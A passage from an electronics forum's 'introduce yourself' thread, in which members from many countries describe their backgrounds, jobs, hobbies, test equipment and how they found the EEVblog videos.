I tried to keep minimally in touch with engineering by means of hobby stuff, and some 2 years ago I started teaching classes in a technicians school, teaching mostly basic lab classes.

Well that's it! See ya!
Title: Re: New Member, Please introduce yourself
Post by: Bubu54 on December 18, 2014, 06:09:15 pm
Hello,

My name is Lanci, Im from Hungary but I live in the Uk at the moment. Im a hobbiest of electronic and I do work for an electronic manufactoring company as a Test Engineer at the moment. Im living in the UK for 7.5 years now and Im just about to move back home. I dont know what else should I say so I think thats it.

Bye for now.
Title: Re: New Member, Please introduce yourself
Post by: occamman on December 22, 2014, 04:09:18 am
Hi all,

I'm Alan, from Newton Massachusetts, bordering Boston. Currently a systems engineer, trained in electronics and also have a good deal of software experience. Most of my work has been on medical devices - cardiac, neurological, most recently a proton therapy system for zapping tumors.

I'm currently finishing up a book on product development for O'Reilly, Prototype to Product, a Practical Guide to Getting to Market:

http://shop.oreilly.com/product/mobile/0636920029076.do (http://shop.oreilly.com/product/mobile/0636920029076.do)

I'm generally blown away by how low the barrier to entry's become to doing incredibly sophisticated systems, and love Dave's eevblog videos.
Title: Re: New Member, Please introduce yourself
Post by: deecee on December 24, 2014, 08:46:56 pm
Hey all! I'm D. I work out of LA/NYC/Orlando and develop technology for theme parks and museums. Looks like a fun site, and hope to poke around more!
Title: Re: New Member, Please introduce yourself
Post by: Will_D on December 25, 2014, 02:15:30 pm
Hi Guys,

Happy Christmas!

I'm Will and live in north Dublin, Ireland. Active homebrewer and am into Arduino and similar controllers.
Found you via searching about the Hantek Scope software. Many thanks to all for the work done so far.

Why did I need a scope? To try to debug my microwave oven induction heater project!

Also got the version with the logic analyser to help with the Arduino stuff.
Title: Re: New Member, Please introduce yourself
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Title: Re: New Member, Please introduce yourself
Post by: Hashim on December 27, 2014, 02:57:24 pm
Hello everyone,

My name is Hashim and I am an electronic hobbyist from India. Pardon my not so perfect English as its not my native language.

My interest in electronics started from childhood as I was always curious to know how the appliances at my home worked. I used to take apart my toys to see the electronic circuits inside them and my parents were not happy with that.

When my toys playing age was over and I got my first PC, guess what. I took it apart as well and blew its motherboard. After some years of working the monitor developed an issue and it won't show red colour. Now I had my first soldering Iron and luckily I managed to fix that issue in the monitor by just changing the picture tube base which was burnt partially.

I also used to visit a TV repair shop which was owned by an old gentlemen and he was expert in repairing CRT televisions. He gave me my first digital multimeter and also used to give me old but still working components like capacitors etc for my hobby projects.

During school days with my friend Nitin we made several cool electronic gadgets like Audio amp using LA4440 ic and later on we got to know about 3055 transistor and it was all fun back then.

Now at the age of 29 although not studied electronics (took Biology and now into freelance web development  :P) I have gathered some basic knowledge of how things in electronic circuits work and at least now I am able to repair my home appliances and not for saving money but I just enjoy doing it. Applying thermal grease on transistors, making a good solder joint are just so much therapeutic to me. There is a market dedicated to electronic components here in my city called "mamu bhanja", not a very big one and often sells those "one hung low" quality stuff but still I love to visit this market whenever I pass from the streets nearby.

Came to know about EEVblog from its Youtube videos and I really like those videos and subscribed the channel after watching the first video  :-+
Title: Re: New Member, Please introduce yourself
Post by: cosmicray on December 28, 2014, 06:31:22 pm
Greetings,

I'm Ray. Originally went to school (many decades back) as an EE student, but switched to CS (which was called EDP in those days). Always tried to keep one foot in both worlds. What with the Maker/Arduino sphere, it seems a natural place to be. Currently doing on-line resale (non-electronics tho), and habitat restoration. Long time Mac person, and sometimes Mac dev. Would love to see more test gear with OS X software.

Once upon a time I was soldering together MITS and SWTPC systems for friends and clients. Plenty of older test gear stashed out back in another building. Need to dig it all out and see what still works. Lots of Eico, Heathkit and SWTPC, and one KSR-33.

Currently residing in rural north Florida.

ETA: I was once part of, but not the license holder for, WA4VQW (mentioning this on the odd chance some old chums are floating around here on eev).
Title: Re: New Member, Please introduce yourself
Post by: beNative on December 28, 2014, 09:15:53 pm
I graduated as an electrical engineer telecommunications back in 1998. Since 2000 however I have been working almost exclusively as a software developer and recently I got caught by my roots in electronics when I discovered the Arduino and the huge community around it. Microcontrollers like the Atmel ATMega328 are IMHO a real gem for their price which could not have been dreamed of back in the 90ies.
Today I'm rediscovering the knowledge I once had of analog electronics and I really enjoy the expertise of Dave when he tears down a device. For me it is a invaluable resource when it comes to practical understanding how a electronical device works. The last couple of years the price of measuring instruments has dropped so significantly that it has become in reach of most electronics hobbyists. Like Dave advised I bought an old analog scope (KIKUSUI COS6150) and recently a Rigol DS1054Z and having both I really understand why it is great to have both an CRO and a DSO. An oscilloscope is a must have instrument if you want to learn the most important aspects that matter in practical electronics.
I've come to a point that I might consider a 'come-back' to electronics professionally if the time is right...

Cheers,
Tim
Title: Re: New Member, Please introduce yourself
Post by: Regected on December 28, 2014, 11:31:42 pm
Hello from Texas.  I am an electrical technician by trade, working at an engineering firm building down-hole oil well logging while drilling tools.  I hold an a degree from ITT Tech in Computer and Electrical Engineering Technologies where I graduated with a 3.97 GPA in 2009.  I was the president of the electrical engineering club for 3 terms as well as two time runner up in the electrical science fair.  Right after graduation,  I went to work with the engineering firm I am with now. 

I have always been a tinkerer.  Working for 10 years as a handyman, I built, fixed or modified just about anything you can think of from automotive to household mechanical system.  I can build anything imaginable.  I became interested in electronics in 2003 when my dad requested help building and testing an HHO fuel cell system.   That was the catalyst to my self education and ultimately my formal education.  I still tinker with HHO cells, but that can be a fairly expensive hobby.

Currently, I'm working on power systems.  This has stemmed from the need of high current DC bench top power supplies, but a lack of funds to purchase a proper system.  So, in true tinker fashion, I've bodged together a 0-40VDC 30A unregulated power supply.  It's always a work in progress.  Additionally, I've built a 0-150VAC or 200-3kVAC power supply, 10-300kHz square wave generator based on a 555, a current controlled PWM based on an LM324 and many other small projects. 

I'm adept at leaded and lead free soldering including surface mount packages down to 0402.  I've designed and built several PCBs including a constant current LED breakout board for a BASIC stamp with 240 channels, a ZVS board capable of handling over 200 watts of power and has been used as a flyback driver, inductive heater and center tap step up transformer driver.  These PCBs were made for personal projects, so only a very small quantity were built.

On a personal note, I can come across and a pompous jerk, but I'm not.  I know I'm not perfect, but I always try my best.  I am, however, autistic so my interpersonal skills are lacking to say the least.  I enjoy helping others, am slow to anger and quick to forgive.
Title: Re: New Member, Please introduce yourself
Post by: wonderful on December 29, 2014, 07:50:43 am
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Title: Re: New Member, Please introduce yourself
Post by: Ardvaark on December 29, 2014, 05:35:58 pm
Hello hello from good ol USA!
 :-DD
Title: Re: New Member, Please introduce yourself
Post by: gui_tarzan on December 29, 2014, 06:10:13 pm
Hello fellow propeller-heads! My name is Jim and I'm a tube junkie from Michigan. I've been playing with electronics since I was a pre-teen in the mid 1970s and have always been a tube-a-holic. I stumbled on this site from a Google search for a voltage doubler in hopes of using an old (1940s) radio power transformer for a tube project. I've been in IT for 25+ years (go figure) and have been a musician for as long as I have been messing with electronics.


Title: Re: New Member, Please introduce yourself
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Title: Re: New Member, Please introduce yourself
Post by: bbogita on January 03, 2015, 03:27:02 pm
Hello form Florida. I am currently a high school student studying EE as a hobby. I like micro controllers, HV, super caps, ball bearings and hamfests. (+ more) I have been watching EEVblog for about a year now and decided I'd have a wack at the forums.
Title: Re: New Member, Please introduce yourself
Post by: Rogier on January 06, 2015, 12:31:00 pm
Hi guys,

My name is Rogier, I live in the Netherlands. I collect Dutch slot machines, and as these are often older than 20 years and have an mpu plus other electronics in them I am slowly educating myself to be able to repair common problems.

I hope to learn here, it is very interesting!
Title: Re: New Member, Please introduce yourself
Post by: thiemo on January 07, 2015, 10:31:46 pm
Moin! from northern Germany,

first post, and on the "introduce yourself" thread as it should perhaps be.

So, I've started watching the eevblog videos about a month ago, I think after being pointed here by Fran's LVDC analysis cooperation. I started taking electronic equipment (working and non-working) apart at an age of eight or thereabout, and tried to build "stuff" out of the salvaged parts not too much later. Today, being a software developer at daytime, I burn the midnight oil mostly on designing, building, and programming some "intelligent" automation for my home from scratch - both for the fun of it, and because existing solutions alone don't fit my requirements perfectly enough to keep me from rolling my own.
Then there's the occasional repair of failed Things (strangely tending to be other people's synthesizers of some sort), and minor by-projects like debugging and measurement utilities for the big thing (that home automation project). On the backburner, there's a from-scratch pinball machine I started about ten years ago - the case and very little other hardware is waiting in a storage room to be worked upon when time permits. However, since the automation thing started in 2010, I have done nothing on that one.

Anyway, when I'm crashing on the sofa in the evening and just should do some development or testing on "The Project", but feel too tired and comfortable there, one or two of the vblog episodes brings the motivation to go down to the E-lab and have a go - fantastic! So, why not lurk on the forum as well... So far (I have actually joined some days ago), it looks highly interesting, helpful, friendly, and educating. Great!

Cheers,
  thiemo
Title: Re: New Member, Please introduce yourself
Post by: boston617 on January 09, 2015, 11:53:16 pm
Hi all. I'm Don from New Hampshire (USA).

Came across the EEVBlog YouTube channel while searching Google for data on a chip out of a pc, and stuck around. I'm a hobbyist/enthusiast with pc building, overhaul, and repair. Got into computers at a young age (about 9 I think) using an old TRS-80. The first computer I got was an IBM Portable XT with an 8088, and it got the old teardown so I could see how it worked.

I have also had a interest in electronic assembly, and after watching a few of Dave's vids on soldering, bought a small kit to try my hand at. The only soldering I had done up to now was repairing large-pinned power inputs and speaker outputs on stereo equipment. The only issue that I had was my iron was too big, and that gave me a good reason to get a new one with multiple tips.  :)
Title: Re: New Member, Please introduce yourself
Post by: rickselectricalprojects on January 19, 2015, 12:46:42 am
hi! my name is rick (its not, I don't want to reveal my real name) I am 14 years old and I am from Australia. I loooooooooove electronics and especially arduino and induction heaters. I have been interested in electronics for about a year now and I have never been so interested in something before. I hope to become an electrical engineer when I am older but am uncertain which type of engineer because theres so many different types like high voltage, telecommunications, etc. 
Title: Re: New Member, Please introduce yourself
Post by: Mechanical Menace on January 22, 2015, 06:09:21 pm
Hi I'm Jason, an ex systems programmer for local uni's HTC install now freelancing and recently bitten by the electronics bug.
Title: Re: New Member, Please introduce yourself
Post by: Ping on January 25, 2015, 02:42:19 am
Hi, I'm Jim, technician for a small UK rock band.

Had a 200 in one electronics kit as a kid, the one with the grey front, meter, speaker and little red morse key !...

Been watching the EEVblog for about a year, and it has really fueled the desire to know more about the things I stab a screwdriver into as part of my job, and develop ideas for some new and useful things.

I am here to learn from everybody, become more proficient, and help out if I can.

jx
Title: Re: New Member, Please introduce yourself
Post by: economist on January 25, 2015, 03:00:30 am
Just a hobbyist here -- wonderful to learn from all of the knowledge on the forum and in Mr. Jones' blog.
Title: Re: New Member, Please introduce yourself
Post by: MattSR on January 25, 2015, 10:26:21 am
Hi Guys,

My name is Matt and I have been an electronics enthusiast since I was very young. Started building Dick Smith kits when I was about 12 and never looked back, Currently into radio, RF, software radio, and hold an advanced HAM license.

This is a  handy forum to have if I need to look something up to get opinions about something or to just generally hang out and see what interesting things people get up to with their hobby..

Cheers,
Matt
Title: Re: New Member, Please introduce yourself
Post by: speleodox on January 26, 2015, 11:35:35 am
Hello all.

I am a veterinary tech and sometime biology student (I'll finish that degree one of these days, honest), and I have been tinkering for as long as I can remember. I am no stranger to soldering and basic electrical circuits, but I never really considered electronics as a hobby until recently. I had a misconception that any kind of electrical engineering began and ended with calculus, and I have never gotten along with integrals. Once I came across EEVblog, I realized that was not the case and I have been gobbling up information since then. So far I am caught up on the entire video archive, and am hammering my way through chapter two of Art of Electronics. I also acquired a cheap 50mhz 2 channel scope and am exploring the intriguing world of squiggly green lines and what they mean. I have to hand it to Dave for creating such a great resource, and I really hope he is doing well working at it full time.

Also, probably not of interest to anyone but Dave, I love the canyoning content. I do something similar here, but our canyons have ceilings and we call them "caves". It's pretty much the same thing except we don't have weather underground, and we seriously geek out on LEDs and batteries. More info at www.caves.org (http://www.caves.org)

Josh in Baltimore (charm city) MD
Title: Re: New Member, Please introduce yourself
Post by: gadjex on January 26, 2015, 03:56:56 pm
Hello,

My name is Rob and I am an electronics enthusiast. I work in the IT field and have started to get into micro-controllers and EE the past few years. I have been lurking these forums for a while now and thought I would create and account and say hi.

See you around!
Title: Re: New Member, Please introduce yourself
Post by: chamod on January 26, 2015, 04:05:49 pm
Hi everyone,
I am Chamod  from Sri Lanka. Have been an electronic enthusiast for a long time, and now officially a Electronic And Telecommunication Engineering undergraduate  ;D.
I'm interested in microcontrollers, FPGAs, signal processing (analog and digital) and all electronics in general.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: mailerx1 on January 28, 2015, 09:01:22 am
Hi forum members,

Some of my story.....
My 29 year electronics history includes completing the 'Trade' of repairing TV's, Videos and Microwave Ovens (amongst other things) . Owning and running a repair business for a few of those 29 years (A handful of staff at one stage).
For the last few years I have had health issues which forced the sale (giving away) the business.

Of late I have been able get 'back on that horse' at least to some degree and now enjoy the 'ATMega' world.
I have been following Dave's Video's for sometime now. (Thanks Dave)

I am a rather quite person and don't post to forums much, things may change though.

mailerx1
Title: Re: New Member, Please introduce yourself
Post by: StereoBucket on January 28, 2015, 08:11:54 pm
Hello everyone.
Tho I've known of this forum for quite a while,I didn't bother much with registering up until now.
Eh since I was reading through that snake oil thread and having quite some fun reading it I thought,since I am already on forum,that I should register.
I'm an IT tech student,transferred to IT from electronics as IT was more for me but I still like electronics.
They aren't that far away from each other really.


Title: Re: New Member, Please introduce yourself
Post by: Scoob316 on January 31, 2015, 03:48:16 pm
Greetings! thankks for allowing me to join your community,  my names chris but most people call me scoobs (i prefer scoobs) i'm a 38 year old mechatronics engineer (graduated in 2013) with a mechanical engineering background, i have a good understanding of three and single phase systems, power generation, distribution and connection but basic knowledge of electronics, I have done a few small projects, but i am here to learn more!
Title: Re: New Member, Please introduce yourself
Post by: downwind27 on January 31, 2015, 06:06:19 pm
Hello one and all. Downwind27 is a new member here. Born thousands of years ago (1943 actually) and now a retired electronics design engineer. Still pottering with radio, amplifiers, computers - if it's electric I'll design/build/mend it. Based in the UK Midlands, as far from the sea as it's possible to get - but I love sailing.
Title: Re: New Member, Please introduce yourself
Post by: Sirius631 on January 31, 2015, 09:16:54 pm
Hi,

I've just joined the forum today, after spending many a well spent afternoon/evening watching past episodes of the EEVLOG on YouTube.

I haven't seriously touched electronics since I was on an Electronic Engineering HND course in the late 1980s. Something just killed the subject for me, which is a pity considering I had been hand-drawing Z80 based computer circuits since I was 14, although I never picked up the nerve to actually plug one together to see if I could develope it into a useable system. I did get to do a bit of assembler programming on the old Amstrad CPC, swapping out bits of my BASIC programs for machine code routines.

We lost my brother last year, and with him being one of Manchester's leading sound engineers, owner of a PA hire company and out-and-out hoarder, he's left me with a whole load of interesting (but broken) gear, including the three-trace Topward oscilloscope which I lent to him. It's a pity that I never found the UV PCB exposure box which I had a 50% share in; I could have made use of that. Fortunately, I've scored a filthy, but working 20MHz dual trace analog scope and a valve signal generator.

I've just finished cataloging my brother's spare parts draws and am astounded by the weird and wonderful chips he had. Along with the ubiquitous TTL and CMOS logic gate, he had so many 8 bit I/O ports that he must have been looking to corner the market ready for when everyone dumped their PCs and Macs and returned to 1980s home computers. Yeah, right! Anyone want 40 8212s? I suspect that they must have come from the interfaces of Amec Recall mixing desks, which had automation before fully digital desks came into being.

Anyway, better leave it there. I suspect I'll be around making daft suggestions and stupid mistakes. If it really is true that
you learn by your mistakes then I should be a genius.  ;D

The name's David, BTW. 47, Automotive Design Engineer, West Midlands, UK.
Title: Re: New Member, Please introduce yourself
Post by: FPGA_Peter on February 01, 2015, 02:09:01 am
Hi

I'm Peter from Germany. As my username may indicate: I like FPGAs. I'm an Electrical Engineer with industrial background, now teaching some subjects related to Electronics.

Regards

Peter
Title: Re: New Member, Please introduce yourself
Post by: moriduri on February 02, 2015, 04:58:46 pm
Hi, I'm Matteo from Italy.
I'm a Computer Science student at the University of Genoa.
Title: Re: New Member, Please introduce yourself
Post by: chloe on February 03, 2015, 04:06:47 am
hello everyone , i am Chloe, English name follow Smallville Superman series, Clark Kent's friend,  my Chinese name is Shuyue, now 24 years old, a export sales manager in wuhan huaying electric power, making and export electrical testers, hope to know more knowledge about testers in this famous forum. Though my English is not good i will try to follow the forum rules and see if i can discuss in the forum.
Title: Re: New Member, Please introduce yourself
Post by: Nisho on February 03, 2015, 08:06:07 am
Greeting from South Africa.

Been dabbling with electronics since I was a young lad, joined the forum as I enjoy watching Dave's Youtube Videos.
Title: Re: New Member, Please introduce yourself
Post by: 1llusionist on February 07, 2015, 05:18:19 am
Hello i am a canadian linux enthusiast (gentoo) about to jump seriously into electronics and coding.  I have sourced lots parts awaiting to be assembled into circuits to help me learn.
Title: Re: New Member, Please introduce yourself
Post by: reedjosh on February 09, 2015, 01:49:43 am
Hello,

I'm a junior at Oregon State University studying EECS. I'm on here to get the practical info that the school doesn't seem to give. Thanks for all of the great info I've skimmed from the forums!
Title: Re: New Member, Please introduce yourself
Post by: Grigs on February 09, 2015, 07:22:15 pm
This is a very informative blog, and has helped me a lot in directing me where to find resources to study. Many thanks to its contributors. I have been a network engineer for about 9 years.
Title: Re: New Member, Please introduce yourself
Post by: maxinecoless on February 10, 2015, 03:53:32 am
hai to everyone..I'm maxine from india..I'm here to gain the knowledge and share my knowledge
Title: Re: New Member, Please introduce yourself
Post by: funkydunx on February 13, 2015, 11:56:51 am
Hello, I'm from Sussex in southeast England and my background is in physical science.. inspired by the eevblog to get stuck in to some practical electronics! ;D Got myself a basic tek 'scope, PSU and AFG, an agilent and gossen dmm and a soldering iron and having loads of fun! :)
Title: Re: New Member, Please introduce yourself
Post by: TwinScroll on February 13, 2015, 12:50:12 pm
Hi Everyone, I am Keith, from the Southcoast (Hampshire) of England UK.
I have been in the Electronics Industry for 18 years and along the way I've been fortunate to work on very interesting projects in areas such as underwater Systems, Avionics Test Solutions, Wind Tunnel control systems, High Pressure air and more recently various Automotive.
Actually, I am very much into Automotive Electronics in general, Engine tuning, CANBUS networks and the such.
Looking to make some cool projects this year.
I am a big fan of the EEVblog and the Amphour  :blah:
Title: Re: New Member, Please introduce yourself
Post by: 6sigma on February 14, 2015, 01:50:05 pm
Good morning! It's a sunny, cold Saturday here in the deep South (USA). After a career in management, it's time to dust off an engineering degree from the mid-70's and start an electronics hobby. At my age it will involve:

Some generous people here. Thanks for sharing your know-how and experience.
Title: Re: New Member, Please introduce yourself
Post by: emulsifide on February 16, 2015, 09:15:31 pm
Hey everybody. I've been tinkering with electronics since I can remember being alive. I'm currently in the process of building out a hobbyist's electronics shop in my basement and I stumbled across this forum after watching some oscilloscope videos on Youtube. I look forward to learning a lot from this large community.
Title: Re: New Member, Please introduce yourself
Post by: gfiber on February 19, 2015, 11:02:34 pm
Name is Gary, been an amateur radio operator K8IZ for 39 years, hold a FCC GROL with shipboard Radar endorsement. Worked for 11 years at Icom America 1989-2001 doing mostly product support and some limited bench work. Am interested in building up circuits for amateur radio and work as I now do electronic surveillance work.
Also own a 2004 Jeep Wrangler as a 2nd vehicle (Just empty Every Pocket)  ;)

This forum is great so many knowledgeable folks here, you are like the Amateur Operators buy a new piece of gear and rip the cover off to see what is inside, I like it.
Title: Hello from Doncaster
Post by: sj_bradley on February 20, 2015, 10:33:37 am
Hi,

I'm Simon from Doncaster and I was recently impressed that Dave read out in a mailbag and put up the picture of the Vulcan Bomber that is stationed here. (Thanks Dave for showing that)

Just registered today and started back into electronics from a hobby years ago. I've just had back my first batch of PCBs from China (of course, I don't "dis" anything Chinese but was amused when a jiffy bag turned up ... See my first post in Chat)

Keep going Dave - I especially like the tutorial type videos. :)

Thanks,
Simon.
Title: Re: New Member, Please introduce yourself
Post by: ltourist on February 22, 2015, 03:35:12 pm
Hi,

I'm Bertrand from France. I've already posted a couple of questions here but never saw the presentation thread before :)
I'm a software engineer for entertainement websites for the past 3 years, but I spend most of my free time experimenting with electronics and embedded software since a year and a half.

Dave's videos and the forum has been a huge help in my learning curve !

Thanks
Title: Re: New Member, Please introduce yourself
Post by: lbeckm3 on February 22, 2015, 11:24:02 pm
Hello all, my name is Lyle and I'm from Sioux Falls, SD USA.  Wealth of information here, looking forward to being a contributing member!  As far as my electronics prowess... well it isn't much.  Hobbyist with some general knowledge but looking forward to greatly expanding that as I go along.  I've done some basic work with microcontrollers (picaxe and basic stamps primarily, a bit with TI msp line and some arduino recently).  Mostly I've just made led's blink and soldered kits together to this point.

If you're bored you can have a look at a Ghostbusters proton pack I made - I used a picaxe chip and shift registers to make the blue scanning led's go on the back of the pack;

https://www.youtube.com/watch?v=DoD2A4V7ymM (https://www.youtube.com/watch?v=DoD2A4V7ymM) 

Anyway, just wanted to say hi and all that. 

-Lyle
Title: Re: New Member, Please introduce yourself
Post by: janaf on February 23, 2015, 05:36:19 pm
I never introduced myself  when I started posting here :palm:

My name is Jan Fredriksson, from Stockholm, Sweden.  I'm a plumber. And welder and my MSc was in thermal engineering. I worked 15 years as a research engineer at a major technical university, KTH, mainly with measurement techniques in various research projects. Didn't finish my PhD yet. On the side I did develop and sell a bunch of switch mode audio amplifiers and also amplifiers for piezoelectric actuators/transmitters. Now I do electronics semi-professionally, mostly applied measurement stuff. Since some years I run an un-related business with a dozen employees. It pays the bills. I'll retire in five years and I hope to have a working voltage reference finished by then.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on February 24, 2015, 06:03:30 pm
Nice to finally know who you are.
Title: Re: New Member, Please introduce yourself
Post by: eggplantUK on February 25, 2015, 04:19:30 am
Hi all!

I'm from the UK and am a keen electronics enthusiast.  I've worked in the repair industry, too.  I enjoy fixing and tinkering with old computers, VCRs, audio equipment, video games, arcade machines... all sorts, really!

Just thought I'd join up to talk with like-minded people!
Title: Re: New Member, Please introduce yourself
Post by: lasersbee on February 25, 2015, 02:39:01 pm
Hi all,
I have been watching Dave on Y/T for a few years now and decided to
join this Forum to see if I could contribute some content and learn from
the experts here.

Will be doing a lot of reading before Posting to get up to this Forum's
speed and nuances. Type to you later....

Jerry
Title: Re: New Member, Please introduce yourself
Post by: 10101 on February 25, 2015, 07:13:50 pm
Hello everyone, another high school student with interest in electronics (obvious ! xD) just created his account :D !!!
Been watching Dave's channel and forum for more than a year now and all i can say is that i learned ALOT from it so continue the good job !!!  :-+

10101
Title: Re: New Member, Please introduce yourself
Post by: CatalinaWOW on February 27, 2015, 01:18:20 am
Missed this when I signed up.  Retired from a career in the US defense business, with a wide range of gigs from circuit design, board and unit test, field testing, software, systems engineering and finished up in engineering management.  Have done a variety of electronics related things on a hobby basis, as well as maintaining all the various boxes that the family accumulates.  Wrote some commercial software early in the PC boom, but dropped that when it became necessary to become a GUI expert to bring anything to market.  In spite of advanced engineering degrees I have always leaned toward the practical side of the field.  Theory is great for a deeper understanding of what you are doing, but the really interesting stuff comes from people who are going beyond theory, or putting theories together in ways that seem kooky to most people.

There are an incredible number of talented people here, with a broad range of backgrounds and interests.  Am looking forward to learning much, and hopefully contributing a little.
Title: Re: New Member, Please introduce yourself
Post by: PsychoMaster on February 27, 2015, 11:41:56 pm
Hello Everybody
Yes I missed it as well ,any way my name is Paul ,been married thirty years and gone quite mad .
Reliving my childhood again (never stopped) and playing with my toys .Obsessed with motorcycles since I was eight and love anything I can take to bits.Thought it about time I took electronics a bit further ( maths,I can't grasp numbers) as I always have been interested.BFN 
Title: Re: New Member, Please introduce yourself
Post by: ReaDave on March 04, 2015, 08:51:37 am
Hi everyone,

My name's David and I'm an Aussie electronics tech and sound engineer from Adelaide, South Australia. My introduction to electronics started some time in the 70s when my Dad showed me how to hook a battery to a lightbulb and everything just snowballed from there.
My first repair job was in grade six in primary school when we had a rainy day lunchtime which meant we all got to stay indoors during lunch (I actually really enjoyed those rainy days) and my teacher gave me a broken HMV stereo valve record player. She expected me to pull it apart and have some fun in the process but by more of a stroke of luck than any skill, I managed to get it going by the end of the lunch break. That record player became my first personal "HiFi" system.

Fast forward a few years and my first job was at 3GL radio station in Geelong, Victoria (now K-Rock FM). Second job was as a sales person at Dick Smith Electronics. I later got an apprenticeship as a radio tradesman and once that was completed, I moved into the entertainment industry and worked as a live sound engineer and electronics tech for Music Workshop, also in Geelong.

These days, I am on a pension due to a disability and focus mainly on writing and recording music in my small project studio. I'm still very active with electronics though and spend quite a bit of time breadboarding various ideas and designs and building/modding things for my studio or for other purposes.

I have quite a fondness for synthesizers and have a collection of analog and digital gear from the 70s through to today which I use frequently in my musical projects. I've been playing piano/keyboards now since 1984 and also play trumpet (which was actually my first instrument), guitar, bass and drums.

Anyway, that's enough about me for now. I look forward to participating in the discussions here on this forum which I found while researching a DSO (a Rigol DS1052)  a friend of mine recently purchased. I found Dave's videos about the reasons DSOs 'appear' noisier than their analog counterparts. Great videos and great YouTube channel!  :-+


Edit - I forgot to mention that my nickname here was first created for another forum I am a regular contributor on. That is the REAPER audio forum. For those who are unaware, REAPER is very cool DAW (Digital Audio Workstation) software which is my primary recording, mixing and mastering tool. I switched to it from Digidesign (now AVID) ProTools a few years ago.
The REAPER system nicknames many of it's subsystems with a 'Rea' prefix, hence my 'ReaDave' nickname to match.
Title: Re: New Member, Please introduce yourself
Post by: sainter on March 04, 2015, 09:39:21 am
Hey Everyone,


I'm Juozas from Lithuania, about 30 year old computer technician working in industrial material manufacturing plant. I am new to electronics (started few years ago), but so far I like it a lot. Currently I am a student of Klaip?da University, and working towards Electrical engineering bachelor degree. I participate in University's Robotic club, and currently we are building  Japanese robot sumo robot .

EEVblog is the main drive for my new passion in electronics, so Thank you Dave for that.

For the moment, i'm already  familiar with basic analog and digital circuitry, microcontrollers. Next step, learning FPGA. For a long time, i couldn't advance in electronics because of little or none test equipment (buying old stuff from ebay is out of the question, because usually shipping to Lithuania cost as much as the item it self), but after joining the university, with it's equipment, thing are looking better.

I'm surprised to see, how active is this forum (hardly have time to read through all the topics). So thanks to all the people that write and participate in daily life of this place.


Title: Re: New Member, Please introduce yourself
Post by: boobo-oobo on March 08, 2015, 05:50:28 pm
Hello.

Im Marko from Croatia. Finished my education and started working full time in my dads business. I'm an electrical engineer, our business is a small family business est. in 1997. We are engaged in a spectrum of different activities, primarily those related to the service and repair of electrical and electronic devices, but we maintain machines for other businesses, do mechanical work and manufacture and install new electronics, service and repair electrical and electronic equipment, industrial electronics, all kinds of motors and gear units, regulators, measuring equipment, encoders, frequency converters, power supplies, PLCs, controllers, etc.
Title: Re: New Member, Please introduce yourself
Post by: nick5435 on March 11, 2015, 07:34:03 pm
Hello! I'm Nick, an Engineering Student from the Twin Cities in Minnesota, USA. You might know Minnesota as the place Digi-Key is from, or where Michelle Bachmann is from (Sorry for the second one, we're trying to figure out how to get rid of her ourselves). I'm into designing Power supplies and IoT applications.
Title: Re: New Member, Please introduce yourself
Post by: 7_seg on March 12, 2015, 01:51:38 am
Hi everyone! I'm an EE grad out of unimelb currently living and working in Melbourne. I work in a loosely related technical field and love finding useful ways to apply my EE skills. Joined this forum as a way to help build on practical electronics skills. This forum seems a great place to ask both sticky questions as well as those things I really should remember from my studies. Looking forward to meeting everyone.

7_seg
Title: Re: New Member, Please introduce yourself
Post by: dtnicholls on March 16, 2015, 11:17:20 am
Hi all, I'm Daniel, live in Adelaide.

I'm a tech, experience is mostly in navigational systems (gps, gyros, em log, etc), sonar, radar and RF safety.
I'm also a licenced electrician.

For about the last year though, I've been working on pokies. Very very different to what I've done previously, and good to be learning new stuff!

After watching the blog for a while I thought I'd come and join up here...
Title: Re: New Member, Please introduce yourself
Post by: C222 on March 18, 2015, 09:53:15 am
Hey, I'm Ben.

I'm a firmware engineer with experience doing a bunch of C and Python for AVR and ARM micro-controllers.
I'm also a fan of software defined radios.

I've started watching more and more of EEVblog so I thought I should drop by and say "Hi".
Title: Re: New Member, Please introduce yourself
Post by: lupu on March 18, 2015, 12:01:24 pm
Hello, I'm Robert

I'm following EEVblog since 2010 and I hope this is the last time my Forum account here gets deleted :D
Title: Re: New Member, Please introduce yourself
Post by: TrunKate on March 21, 2015, 02:01:47 am
Howdy from the USA. Or as Dave would say,"USA-USA-USA"!
I have been watching EEVblog for more than a year now. My son(6 yrs. old) and myself have begun learning about electronics together. In no small amount I attribute our interest to Dave's amazing enthusiasm and technical knowledge! We began simply by tearing down every piece of unwanted/trash electronics we could find. With the parts salvaged we make simple contraptions and it really gets the gears in our brains moving! My son Thomas has a favorite nick-name now, "Electronics boy"! We have an Elenco 130-In-One kit on its way, and thanks to the generosity of this community much more coming! I have begun to learn the basics and fundamentals, whereas with my son I am trying more of an experimental approach to get him excited and keep his interest. Try explaining Boolean algebra and Ohm's law to a 6 yr old!! To sum us up I will say we are most certainly beginners starting at the bottom. I will admit all the math and physics is a real challenge to comprehend. I have been out of school for almost 12 years and was never that interested in math. Slowly I am grasping it one day at a time. I love tinkering and working with my hands. I find it very therapeutic! Thanks if you took the time to read this and remember, "Don't turn it on, take it apart!"
Title: Re: New Member, Please introduce yourself
Post by: vrb on March 28, 2015, 09:43:16 pm
Hello everyone, I'm Vince. I'm an American high school senior interested in Electronics Engineering and vintage computers. I'm going to school for EE in the fall and would like to eventually go into the field of RF Engineering.
Title: Re: New Member, Please introduce yourself
Post by: TUAREG on March 29, 2015, 05:58:41 pm
hello, my name is Aitor, i live in canary Islands, Spain, i work repairing mobile phones, micro soldering, smd., etc. i enjoy restoring old military radios too and cars, also i collect antique guns and nokia phones,i have 250 of them.

hope to learn very much here
Title: Re: New Member, Please introduce yourself
Post by: Justin_ on March 31, 2015, 09:20:18 am
Hello my name Is Justin I have been part of the chat for about 1 year now and I am just joining the forum. I live in a town of ~110,000 people (Missoula MT USA). I first picked up a soldering iron to make an altoids tin audio amp for a in car DVD player at about 10 years old, but long before that at 3 years old is when I first disassembled something to learn how it worked, then at about 5 or 6 years old I got into computers taking the old ones Tearing them apart to find out how they work, then I moved into the software end messing around with the settings to se what happens, along with the computers I took apart TV's VCR's vinyl players, and just about anything I could get my hands on. I started wanting to make electronic things an like most of us I started with the 100 in one kits and worked my way forward. I have made remote fireworks ignition systems, In car entertainment systems with a 17" computer monitor, wii, xbox360, dvd player, vcr, also my own computer controlled light display with an FM transmitter, and lots of other stuff. This has all lead me to want to learn more, dig deeper into how stuff works. I will soon be wanting to get better test equipment and such and thought this would be a good time to Join the forum :) .

